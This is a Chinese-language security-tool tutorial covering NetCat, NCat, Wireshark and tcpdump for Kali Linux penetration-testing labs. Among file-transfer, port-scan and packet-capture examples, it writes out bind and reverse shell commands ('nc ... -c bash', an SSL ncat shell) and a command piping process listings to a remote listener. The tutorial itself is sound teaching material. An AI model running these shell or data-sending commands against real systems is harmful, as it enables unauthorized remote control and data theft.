@
目录
本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。
本文以 kali-linux-2022.3-vmware-amd64 为例。
NetCat(又称为 " nc ")被广泛用于计算机网络之间的数据传输和网络调试。允许用户通过 TCP 或 UDP 协议发送和接收数据。
功能描述:
NC 缺乏加密和身份验证的能力
不同系统或平台的 NetCat 命令不尽相同。
基本语法:
nc [选项]
常用选项:
参数
说明
例
-h
显示帮助信息和参数选项。
nc -h
-l
监听模式,等待连接请求到达指定的端口。
nc -l 5555
详见示例01
-p 端口
指定要使用的端口号。
-v
显示详细的输出信息。
nc -v baidu.com 80
-n
使用 IP 地址时不进行 DNS 反向解析。
nc -n 1.1.1.20 5555
-q 数字
指定连接建立或数据传输时的等待时间(单位:秒)。
详见示例02
-z
端口扫描,默认使用 TCP 协议,无需建立实际连接。可指定端口范围。
-u
指定使用 UDP 协议进行数据传输。
-c 命令或shell
执行命令。可用于远程控制。
详见示例06、07
常用组合:
参数组合
说明
例
-nv
主要用于建立连接
nc -nv 1.1.1.20 3333
-nvz
TCP 端口扫描
nc -nvz 1.1.1.20 1-65535
-nvzu
UDP 端口扫描
nc -nvzu 1.1.1.20 1-1024
操作:
先在一台主机上开启端口监听,再使用另一台主机连接。即可通信。
一、ubuntu(1.1.1.20):
nc -l [-p] 3333
二、kali(1.1.1.10):
nc -nv 1.1.1.20 3333
结果:
操作:
一、kali(1.1.1.10):
nc -l [-p] 3333 > ps.txt
二、ubuntu(1.1.1.20):
ps aux | nc -nv 1.1.1.10 3333 -q 1
结果:
在 ubuntu 执行 ps aux
的结果会被保存在 kali 上的 ps.txt 。且完成后一秒自动断开连接。
操作:
一、kali(1.1.1.10):
nc -l 3333 > 1.txt
二、ubuntu(1.1.1.20):
nc -nv 1.1.1.10 3333 < 2.txt -q 1
结果:
ubuntu 上的 2.txt 文件传输到 kali 并被保存为 1.txt 。
操作:
一、kali(1.1.1.10):
nc -q 1 -l 3333 < 1.txt
二、ubuntu(1.1.1.20):
nc -nv 1.1.1.10 3333 > 2.txt
结果:
kali 上的 1.txt 文件被 ubuntu 接收并被保存为 2.txt 。
操作:
一、ubuntu(1.1.1.20):
tar -cvf - /test/ | nc -lp 3333 -q 1
二、kali(1.1.1.10):
nc -nv 1.1.1.20 333 | tar -xvf -
结果:
ubuntu 上的 /test/ 目录传输到 kali 上。
操作:
一、ubuntu(1.1.1.20):
nc -lp 3333 -c bash
二、kali(1.1.1.10):
nc 1.1.1.20 3333
结果:
ubuntu 被 kali 连接,kali 可远程执行 linux 命令。
注:Windows 用户可以把 bash 改成 cmd 。
操作:
一、kali(1.1.1.10):
nc -lp 3333
二、ubuntu(1.1.1.20):
nc 1.1.1.10 3333 -c bash
结果:
ubuntu 主动连接 kali,kali 可远程执行 linux 命令。
NCat是 Nmap 网络扫描器项目的一部分。可以视为 NetCat 工具的加强版。许多命令都与 NetCat 一致。
功能描述:
基本语法:
ncat [选项]
常用选项:
NCat许多命令都与 NetCat 一致。这里只列出特别的参数。
参数
说明
例
--allow
访问控制。限制允许连接的 IP 地址范围。
详见示例01
--ssl
使用SSL/TLS加密连接。
详见示例01
操作:
一、ubuntu(1.1.1.20):
ncat -c bash --allow 1.1.1.10 -vnl 3333 --ssl
二、kali(1.1.1.10):
ncat -nv 1.1.1.20 3333 --ssl
结果:
ubuntu 允许来自 IP 地址为 1.1.1.10 的主机连接。连接建立后执行 Bash 命令,并使用 SSL/TLS 加密进行连接。
WireShark 是一款开源抓包软件,常用来检测网络问题、攻击溯源、或者分析底层通信机制(抓包嗅探、协议分析。)
基本使用方法:
这里只介绍大致过程。具体细节网络教学很多。
筛选器:
用于过滤数据包。
常见协议包:
需要熟悉常见协议数据包的分层结构。
数据流:
有时一个请求涉及多个包,一个一个查看很麻烦。这时追踪数据流可以方便查看涉及到的数据包信息。(追踪流)
信息统计:
WireShark 提供了一些信息统计功能。
TCPdump 是一款命令行抓包分析工具。Linux、Unix 系统默认安装。
基本语法:
tcpdump [选项]
常用选项:
参数
说明
例
-i 网络接口
指定要监听的网络接口。
tcpdump -i eth0
详见示例01
-s 数字
指定捕获数据包的最大长度(单位:字节。0 表示抓取所有)。默认为 64。
tcpdump -s 100
详见示例02
-w 文件
将捕获的数据包写入文件。
tcpdump -w test.pcap
详见示例02
-r 文件
从文件中读取数据包进行分析。
tcpdump -r test.pcap
详见示例05、06、07
-A
以 ASCII 形式显示数据包内容。
-X
以十六进制和 ASCII 形式显示数据包内容。
详见示例06
-v[v][v]
显示详细信息,“ v ” 越多越详细。
-n
显示 IP 地址和端口号,不进行 DNS 解析。
详见示例05、06
src host ip地址
过滤条件。指定源主机。
详见示例04、05
dst host ip地址
过滤条件。指定目的主机。
port 端口
过滤条件。指定端口。
详见示例06、07
tcp
过滤条件。指定 TCP 协议。
tcpdump tcp
详见示例07
udp
过滤条件。指定 UDP 协议。
过滤条件可用 “ or ” 和 “ and ” 连接。
除了以上基础筛选过滤条件之外,TCPdump 还提供了高级筛选:
示例:
tcpdump -A -n 'tcp[13] = 24' -r http.cap
操作:
tcpdump -i eth0
结果:
tcpdump -i eth0 -s 0 -w test.pcap
tcpdump -r test.pcap
tcpdump src host 192.168.0.1 or src host 192.168.0.2
tcpdump -n src host 145.254.160.237 -r test.pcap
tcpdump -nX port 53 -r test.pcap
tcpdump tcp port 53 -r test.pcap
渗透测试中有时需要团队资源共享,因此需要一些软件来协助团队合作。
包括但不限于以下两点:
可以选择合适的软件以便于交换已获得的信息。
选择合适的软件对重要的数据文件(如获得的漏洞信息等)加密存储。以免泄露造成损失。
落花有意随流水,流水无心恋落花。
——《警世通言》(明)冯梦龙
手机扫一扫
移动阅读更方便
你可能感兴趣的文章